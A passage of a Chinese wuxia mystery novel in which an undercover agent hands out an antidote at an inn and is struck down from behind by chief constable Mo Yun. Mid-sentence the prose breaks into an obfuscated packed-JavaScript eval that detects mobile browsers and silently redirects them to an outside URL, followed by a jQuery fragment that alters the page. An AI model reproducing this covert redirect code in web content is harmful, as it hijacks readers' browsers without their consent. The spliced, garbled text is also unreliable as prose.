陆青心头苦笑,她不过就是误打误撞会验个尸罢了,哪里值得人忌惮了。 而一旁久未开口的谢见微,忽然出声:“那现在,柳姑娘既已达成目的,可否将解药给我等?并言明,那天机阁杀人者,究竟是何人?是否还在店内?” 这也是陆青最关心的问题。 钱虎那诡异的死状,以及箱中命案,到现在还没确定凶手是谁? 柳三娘闻言,脸上却露出一丝明显的错愕和困惑。 “解药自然会给。”她点头应承,眉头却紧紧蹙起,甚为诡异的问:“诸位……难道那天机阁的高手,不在你们之中吗?” 这话问得众人一愣。 柳三娘见无人回答,脸上困惑更深,抱拳道:“在下虽为靖安司效力,但对天机阁‘千丝傀儡阵’的威名亦是如雷贯耳。能于瞬息之间,以无形丝线远距离肢解目标,干净利落,此等手段,绝非寻常江湖客所能为。”她顿了顿,目光炯炯地看向众人:“敢问,究竟是哪位高人在此?千里锄奸,为国除害,可否现身一见,容在下当面致谢?” 大堂里又是一片沉默。 陆青与谢见微对视一眼,均看到对方眼中的茫然。 苏嬷嬷摇了摇头,开口道:“柳姑娘,你恐怕误会了。我们主仆三人,确系南下逃难,途经此地,与什么天机阁,绝无瓜葛。” 角落那边,老妪也挣扎着摆手,声音虚弱:“老婆子和孙女,就是走江湖卖艺糊口的,哪认识什么天机阁的高人……” 柳三娘彻底愣住了。 “都不是?”她喃喃自语,“那……杀死两个叛徒的人,到底是谁?现在何处?” 这个问题,如同投入平静湖面的巨石,瞬间激起了更深的寒意。 是啊,如果杀人者不是柳三娘,也不是在场任何一方…… 难道,那个神秘的、能用‘天机丝’杀人的高手,真的如同鬼魅一般,杀了人便消失无踪?亦或是……仍潜伏在暗处,冷冷地注视着这一切? 一股比之前更加森冷诡谲的气息,悄然笼罩了整个大堂。 就在这时,一直沉默的墨云,忽然轻轻叹了一口气。 这声叹息,在寂静中显得格外清晰。 所有人的目光,瞬间集中到了她的身上。 只见墨云缓缓抬头看向面露惊疑的柳三娘,嘴角勾起一个意味难明的弧度。 “靖安司的暗桩,果然名不虚传。”墨云缓缓开口,带着一丝赞赏,“布局周密,应变果断,干净利落。墨某佩服。” 柳三娘眉头一挑,谨慎地回应:“墨总捕头过奖,职责所在而已。” 墨云点了点头,话锋却陡然一转,语气中带上了一丝惋惜:“可惜,柳姑娘虽然算无遗策,终究还是……百密一疏。” “墨总捕头此言何意?” 柳三娘脸色微变,手下意识地按向了腰间的软剑。 墨云却仿佛没看到她戒备的动作,自顾自地继续说道:“柳姑娘可知,你口中的‘千丝傀儡阵’,如今早已为我北州府所用,专司暗杀敌国探子、清除叛国逆贼。手段虽酷烈,却卓有成效。” 柳三娘显然也是第一次听闻此事,脸上露出难以置信的神色:“什么?天机阁的人为官府所用?这……” 墨云继续道:“此次铁壁关城防图泄露之事,我北州府亦早有线报。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16897838|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉命前来,便是配合天机阁的高手,清除这些叛徒。”她说着看向柳三娘,语气中带着一丝复杂:“只是没想到,柳姑娘行动如此迅捷,竟抢先一步控制了客栈,伪装潜伏。我抵达时,见店内情形复杂,一时难以判断你的真实身份和意图,为防打草惊蛇,才暗中布下人手,静观其变。” 柳三娘听到这里,不由带着几分好奇与向往道:“原来如此。既然那天机阁的高人已然为官府效力,墨总捕头,可否请那位高人现身一见?也让我等开开眼界,见识一番这‘千丝傀儡阵’的奇妙之处。” “恐怕要让柳姑娘失望了。”墨云摇头道:“天机阁的人大多神秘,不喜以真颜见人。此刻,她或许就在附近,或许早已离去。她既不愿现身,我也无法强求。” 柳三娘闻言,眼中闪过一丝遗憾,但很快释然。 江湖奇人,多有怪癖,可以理解。 她点了点头,拱手道:“是在下唐突了,墨总捕头运筹帷幄,此番能顺利截获城防图,清除叛徒,多亏总捕头暗中襄助。柳三娘在此谢过。” “同朝为官,分内之事。”墨云说着话锋一转,语气带上了催促,“既然事已了结,柳姑娘,还请快将解药拿出来,为大家解毒。我们需尽快带着城防图离开,返回北州府复命。” 柳三娘连忙点头:“是,解药在此。” 她伸手入怀,摸出另一个稍大的瓷瓶,走向离她最近的墨云。 “此乃解药,口服即可,约莫半柱香便能恢复力气。”她一边说着,一边倒出一粒药丸,递给墨云。 墨云接过,放在鼻尖嗅了嗅,这才点了点头,放入口中。 柳三娘见状,微微一笑,转身准备去给另外的人分发解药。 很快,众人便都一一服下了解药,静待效用。 不到半个时辰,其中修为最高的墨云便已经恢复了些气力,慢慢站了起来。 柳三娘见状,笑道:“墨总捕修为果真深厚,竟然不到半炷香功夫便解了迷药,在下佩服。” 墨云笑了笑,道:“柳姑娘过奖了,不敢当。” 然而,就在柳三娘转身背对墨云,注意力稍稍分散的刹那—— 异变再起! 原本看似已完全信任、刚刚服下解药的墨云,眼中寒光乍现。 她蓄势已久的右掌,悄无声息地凝聚起一股凌厉的内力,快如闪电般猛然拍出,结结实实地印在了柳三娘毫无防备的后心之上! “嘭!” 一声闷响,伴随着骨骼碎裂的细微声响。 柳三娘脸上的笑容瞬间凝固,猛地喷出一大口鲜血,身体如同断线的风筝般向前扑飞出去,重重撞在翻倒的桌椅上,又滚落在地。 她挣扎着抬起头,鲜血染红了前襟,瞪大的眼睛里充满了难以置信的惊愕,死死盯着缓缓收掌的墨云。 “你……”她每说一个字,就有血沫从嘴角涌出,“到底…是什么人……”